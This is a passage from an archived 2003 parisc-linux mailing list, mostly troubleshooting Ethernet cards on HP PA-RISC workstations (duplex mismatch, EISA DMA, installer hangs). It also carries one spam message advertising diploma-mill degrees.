in the old 10Base2/5 days with broken terminators or tranceivers, but also
with 10BaseT, and even more so with 100Mbit and low-quality network cables.

greetings, Max


PS: oh, yes, another possible problem might be an IRQ conflict (which is
rather unlikely on PA-RISC). It would cause also degraded network
performance.


From - Thu Nov 08 21:29:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: buggz <buggz@america.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Dual NICs on 9000/715, anyone?
Date: Sat, 15 Nov 2003 18:22:32 -0500
Lines: 8
Approved: news@gmane.org
Message-ID: <Pine.CYG.4.58.0311151819580.712@buggz3>
References: <3F969FFE00009EA4@ocpmta2.freegates.net> <3F969FFE00009F73@ocpmta2.freegates.net>
 <20031110173525.GC24664@colo.lackof.org> <3FB0DC01.6070701@tiscali.be>
 <20031112032230.GB12000@colo.lackof.org> <3FB68167.10106@tiscali.be>
 <Pine.LNX.4.58.0311152220070.16980@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622963 1546 80.91.229.3 (22 Nov 2014 02:22:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 15 16:12:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from imf25aec.mail.bellsouth.net (imf25aec.mail.bellsouth.net [205.152.59.73])
	by dsl2.external.hp.com (Postfix) with ESMTP id BA2F0487A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Nov 2003 16:12:43 -0700 (MST)
Original-Received: from buggz3 ([65.83.213.170]) by imf25aec.mail.bellsouth.net
          (InterMail vM.5.01.06.05 201-253-122-130-105-20030824) with ESMTP
          id <20031115231242.DYHO14203.imf25aec.mail.bellsouth.net@buggz3>
          for <parisc-linux@lists.parisc-linux.org>;
          Sat, 15 Nov 2003 18:12:42 -0500
X-X-Sender: buggz@buggz3
In-Reply-To: <Pine.LNX.4.58.0311152220070.16980@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20105

Anyone get dual NICs working on this machine?
The second one is on the EISA expansion card.
It works in HPUX.
I'd like to get this to work in linux and use the box as a router/gw.





From - Thu Nov 08 21:29:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dual NICs on 9000/715, anyone?
Date: Sat, 15 Nov 2003 23:34:04 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20031115233404.GT30485@parcelfarce.linux.theplanet.co.uk>
References: <3F969FFE00009EA4@ocpmta2.freegates.net> <3F969FFE00009F73@ocpmta2.freegates.net> <20031110173525.GC24664@colo.lackof.org> <3FB0DC01.6070701@tiscali.be> <20031112032230.GB12000@colo.lackof.org> <3FB68167.10106@tiscali.be> <Pine.LNX.4.58.0311152220070.16980@sal.ucc.ie> <Pine.CYG.4.58.0311151819580.712@buggz3>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622963 1556 80.91.229.3 (22 Nov 2014 02:22:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: buggz <buggz@america.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 15 16:34:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id EDF9C487A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Nov 2003 16:34:06 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AL9vY-0006za-BL; Sat, 15 Nov 2003 23:34:04 +0000
Content-Disposition: inline
In-Reply-To: <Pine.CYG.4.58.0311151819580.712@buggz3>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20106

On Sat, Nov 15, 2003 at 06:22:32PM -0500, buggz wrote:
> Anyone get dual NICs working on this machine?
> The second one is on the EISA expansion card.
> It works in HPUX.
> I'd like to get this to work in linux and use the box as a router/gw.

When you asked on IRC, I asked you what kind of EISA network card it is.
I don't know what driver you'll need to enable.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: buggz <buggz@america.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dual NICs on 9000/715, anyone?
Date: Sat, 15 Nov 2003 18:50:02 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.CYG.4.58.0311151847320.712@buggz3>
References: <3F969FFE00009EA4@ocpmta2.freegates.net> <3F969FFE00009F73@ocpmta2.freegates.net>
 <20031110173525.GC24664@colo.lackof.org> <3FB0DC01.6070701@tiscali.be>
 <20031112032230.GB12000@colo.lackof.org> <3FB68167.10106@tiscali.be>
 <Pine.LNX.4.58.0311152220070.16980@sal.ucc.ie> <Pine.CYG.4.58.0311151819580.712@buggz3>
 <20031115233404.GT30485@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622964 1562 80.91.229.3 (22 Nov 2014 02:22:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 15 16:40:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from imf16aec.mail.bellsouth.net (imf16aec.mail.bellsouth.net [205.152.59.64])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9C7B4487A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Nov 2003 16:40:15 -0700 (MST)
Original-Received: from buggz3 ([65.83.213.170]) by imf16aec.mail.bellsouth.net
          (InterMail vM.5.01.06.05 201-253-122-130-105-20030824) with ESMTP
          id <20031115234013.DJPA20993.imf16aec.mail.bellsouth.net@buggz3>
          for <parisc-linux@lists.parisc-linux.org>;
          Sat, 15 Nov 2003 18:40:13 -0500
X-X-Sender: buggz@buggz3
In-Reply-To: <20031115233404.GT30485@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20107


On Sat, 15 Nov 2003, Matthew Wilcox wrote:

> On Sat, Nov 15, 2003 at 06:22:32PM -0500, buggz wrote:
> > Anyone get dual NICs working on this machine?
> > The second one is on the EISA expansion card.
> > It works in HPUX.
> > I'd like to get this to work in linux and use the box as a router/gw.
>
> When you asked on IRC, I asked you what kind of EISA network card it is.
> I don't know what driver you'll need to enable.
>
> --
> "It's not Hollywood.  War is real, war is primarily not about defeat or
> victory, it is about death.  I've seen thousands and thousands of dead bodies.
> Do you think I want to have an academic debate on this subject?" -- Robert Fisk
>

Oh, the expansion card?
I gave the P/N of the NIC.
I will reply here w/ the P/N's of both the cards.
Those parts are at work, so it will be Tuesday before I know.
Thanks.


From - Thu Nov 08 21:29:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 builtin nic slow?
Date: Sat, 15 Nov 2003 23:58:15 +0000 (GMT)
Lines: 71
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0311152313340.16980@sal.ucc.ie>
References: <3F969FFE00009EA4@ocpmta2.freegates.net> <3F969FFE00009F73@ocpmta2.freegates.net>
 <20031110173525.GC24664@colo.lackof.org> <3FB0DC01.6070701@tiscali.be>
 <20031112032230.GB12000@colo.lackof.org> <3FB68167.10106@tiscali.be>
 <Pine.LNX.4.58.0311152220070.16980@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622964 1564 80.91.229.3 (22 Nov 2014 02:22:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 15 16:58:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0887248AD
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Nov 2003 16:58:18 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id hAFNwHOP005624;
	Sat, 15 Nov 2003 23:58:17 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <Pine.LNX.4.58.0311152220070.16980@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20108

Sorry to reply myself, but think I might need to clarify some points
(I'm a little bit tired, so I have missed some things in my previous post)

On Sat, 15 Nov 2003, M. Grabert wrote:

[...]

> > So i will continue to see how to set it up in half-duplex (would it not
> > be the default in 10BT?)

Yes, usually it defaults to 10Mbit half-duplex and then (if the cards
support it) it tries to negotiate better connections (full-duplex, 100Mbit ...)

> Actually if one end point uses Full-Duplex and the other end uses
> Half-Duplex, there should be no connection possible.

This is true if the (forced full-duplex) network card test for full-duplex
capable connection and doesn't find it. However most (cheap?) cards will
skip the test for full-duplex if it was 'forced', and you can still connect.

Light traffic will work, but you will have problems with large traffic.
The explanation:

The half-duplex side will send a packet, and assumes the other end stops
sending if a collision occurs, ie. if the other side was sending something
at the same time (CSMA/CD).
The full-duplex side will however will always send/receive as fast as it
can as it doesn't do CSMA/CD, ie. it doesn't care about collisions.

The effect is that there will be a massive amount of collisions if both
sides want to send data, and only the half-duplex card will try to resend
the packets (causing even more collisions).
You will see slow traffic when sending from half-duplex, and dropped
packets when sending from full-duplex when both cards are sending.

This will be most likely your problem, since it fits your description
perfectly (forced full-duplex mode). Sorry, I overlooked that in
my first post.



> The same for the situation when one side uses 10Mbit and the other is
> set to explicitly use 100MBit.

This will definitely never work.

> The only situation where such a decreased network performance occurs
> is IMHO that your have a cheap network equipment.
> IE. a dodgy network cable that isn't properly shielded or doesn't use all
> 8 wires,

I mean in the context for 10BaseT, ie. all 4 wires (1/2,3/6) are connected,
but not the rest. There will be noise/crosstalk that will lead to
collisions.

[...]

> In this (worst case) scenario there will be a lot of packet drop on
> the physical layer and the network cards will re-send the ethernet
> packets autmatically (usually) without notifying you. You will see
> decreased network performace as you mentioned it.

The network card (only in half-duplex) will think it detects collisions
due to noise/crosstalk and will automatically resend the packets without
notification.


Slan,
  Max



From - Thu Nov 08 21:29:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux on HP
Date: Sat, 15 Nov 2003 18:38:54 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20031116013854.GA3735@colo.lackof.org>
References: <002901c3aad6$87fb1c10$64d71399@Damian>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622964 1566 80.91.229.3 (22 Nov 2014 02:22:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Damian Muchli?ski <mudamian@poczta.onet.pl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 15 18:38:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 300254881
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Nov 2003 18:38:56 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 5D12D298030; Sat, 15 Nov 2003 18:38:55 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 03557-06; Sat, 15 Nov 2003 18:38:54 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 849A529802E; Sat, 15 Nov 2003 18:38:54 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <002901c3aad6$87fb1c10$64d71399@Damian>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20109

On Fri, Nov 14, 2003 at 06:41:25PM +0100, Damian Muchli?ski wrote:
> I've found on newsgroup that because of old
> version of gcc and kernel and I should use newer version. So I have
> downloaded palinux-2.4.22-pa13-20031022-netinst.iso from your
> website,check md5, burned and booted.
> Unfortunately it hangs on "searching for devices" without any more info.

Damian,
I'm surprised the 2.4.22 netinst.iso doesn't boot on your c3700.
I'm currently running 2.4.22-pa14 on a C3600 with STIFB console.

The output you posted started with 2.4.17 boot and then garbled
at the end. I don't understand how HPMC dump messages and what looks
like PDC output (eg "To discontinue search,...") got mixed up.

If you can netboot a 2.4.22 kernel image from:
	ftp://ftp.parisc-linux.org/kernels/c3000/

and point the "root=" at the CDROM install disk, I would expect
it to complete the install....but that's non-trivial to setup
and it's alot to ask for. If you don't have time or it's too
complicated, don't worry about it.

I'll try to netboot the netinst.iso that you used at home on a C3000
and see what happens.

thanks,
grant


From - Thu Nov 08 21:29:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dual NICs on 9000/715, anyone?
Date: Sat, 15 Nov 2003 18:51:59 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20031116015159.GA4059@colo.lackof.org>
References: <3F969FFE00009EA4@ocpmta2.freegates.net> <3F969FFE00009F73@ocpmta2.freegates.net> <20031110173525.GC24664@colo.lackof.org> <3FB0DC01.6070701@tiscali.be> <20031112032230.GB12000@colo.lackof.org> <3FB68167.10106@tiscali.be> <Pine.LNX.4.58.0311152220070.16980@sal.ucc.ie> <Pine.CYG.4.58.0311151819580.712@buggz3>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622965 1568 80.91.229.3 (22 Nov 2014 02:22:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: buggz <buggz@america.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 15 18:52:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id C23194881
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Nov 2003 18:52:00 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 31E1B298030; Sat, 15 Nov 2003 18:52:00 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 03610-07; Sat, 15 Nov 2003 18:51:59 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 77CD629802E; Sat, 15 Nov 2003 18:51:59 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <Pine.CYG.4.58.0311151819580.712@buggz3>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20110

On Sat, Nov 15, 2003 at 06:22:32PM -0500, buggz wrote:
> Anyone get dual NICs working on this machine?
> The second one is on the EISA expansion card.

EISA DMA isn't working, IIRC.
I don't recall if anyone has published Wax (EISA) DMA docs.
If not, that means someone from HP would have to write it
or get enough detail from someone inside HP to write it.

> It works in HPUX.
> I'd like to get this to work in linux and use the box as a router/gw.

At one we had a NIC working using PIO (not DMA).
But don't expect stellar performance.

grant


From - Thu Nov 08 21:29:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Isabella Ford" <quvqzkbg@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Bachelor's Diploma, Master's, or PhD - No Classes Necessary...edgar
Date: Sun, 16 Nov 2003 03:49:06 +0100
Lines: 142
Approved: news@gmane.org
Message-ID: <mhz$lhd$-38ifp5360ato2yj6$07b6@by8.3d3gkhe.qn>
Reply-To: "Isabella Ford" <quvqzkbg@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="466_5_DED0B405E3099BF2"
X-Trace: ger.gmane.org 1416622965 1572 80.91.229.3 (22 Nov 2014 02:22:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:45 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 15 19:53:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 99DC34841
	for <parisc-linux@parisc-linux.org>; Sat, 15 Nov 2003 19:53:09 -0700 (MST)
Original-Received: from c-67-165-104-135.client.comcast.net (c-67-165-104-135.client.comcast.net [67.165.104.135])
	by cuprel1.hp.com (Postfix) with SMTP id EE58B841
	for <parisc-linux@parisc-linux.org>; Sat, 15 Nov 2003 18:52:57 -0800 (PST)
Original-Received: from [197.8.221.232]
	by c-67-165-104-135.client.comcast.net id <7041546-80182>;
	Sun, 16 Nov 2003 03:49:06 +0100
X-Mailer: QUALCOMM Windows Eudora Version 5.1
X-Priority: 3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20111

--466_5_DED0B405E3099BF2
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable

Academic Qualifications available from prestigious NON=96ACCREDITTED unive=
rsities.

Do you have the knowledge and the experience but lack the qualifications?

Are you getting turned down time and time again for the job of your dreams=
 because you just don't have the right letters after your name?

Get the prestige that you deserve today!

Move ahead in your career today!

Bachelors, Masters and PhD's available in your field!

No examinations! No classes! No textbooks!


Call to register and receive your qualifications within days!

24 hours a day 7 days a week!




203-286-2187 - USA






No more, thanks: http://44rr5f.com


































































































lhrndrnwi nsih

aakeewiwat
t  pxrzhesdgxc dpdf shg  dy l ozoyl zuf

--466_5_DED0B405E3099BF2--



From - Thu Nov 08 21:29:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Shane G. Brodie" <sgbrodie@mts.net>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Dual NICs on 9000/715, anyone?
Date: Sat, 15 Nov 2003 22:16:11 -0600
Lines: 50
Approved: news@gmane.org
Message-ID: <LPENLKGPOOFMNIPKLBNDAEFECAAA.sgbrodie@mts.net>
References: <20031116015159.GA4059@colo.lackof.org>
Reply-To: <sgbrodie@mts.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622965 1578 80.91.229.3 (22 Nov 2014 02:22:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:45 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 15 21:14:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp1.mts.net (smtp1.mts.net [205.200.16.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4262C4841
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Nov 2003 21:14:02 -0700 (MST)
Original-Received: from herrerasaurus (wnpgmb11dc1-167-132.dynamic.mts.net [142.161.167.132])
	by smtp1.mts.net (8.12.8-20030918/8.11.3) with SMTP id hAG4DX4X029627;
	Sat, 15 Nov 2003 22:13:45 -0600 (CST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-reply-to: <20031116015159.GA4059@colo.lackof.org>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20112

Slightly off topic:  I've been fighting with a 715/80 with an EISA 10/100 VG
AnyLan card in it for the last 2 weeks.  I can not get the network to come
up. I have a whole series of issues to resolve unrelated to the network
hardware, but that's another long story ... (the old SCSI CD-ROM doesn't
like CD-RW ... don't have spare CD-R ... disc 2 of my downloaded set is
unreadable - how I wish the MD5 checksums were up-to-date ...  I could set
up dial-up (eeek!) but ...

I don't have have an EtherTwist transceiver for the built-in (and don't know
if it'll work anyway) - can anyone advise me whether or not the the built-in
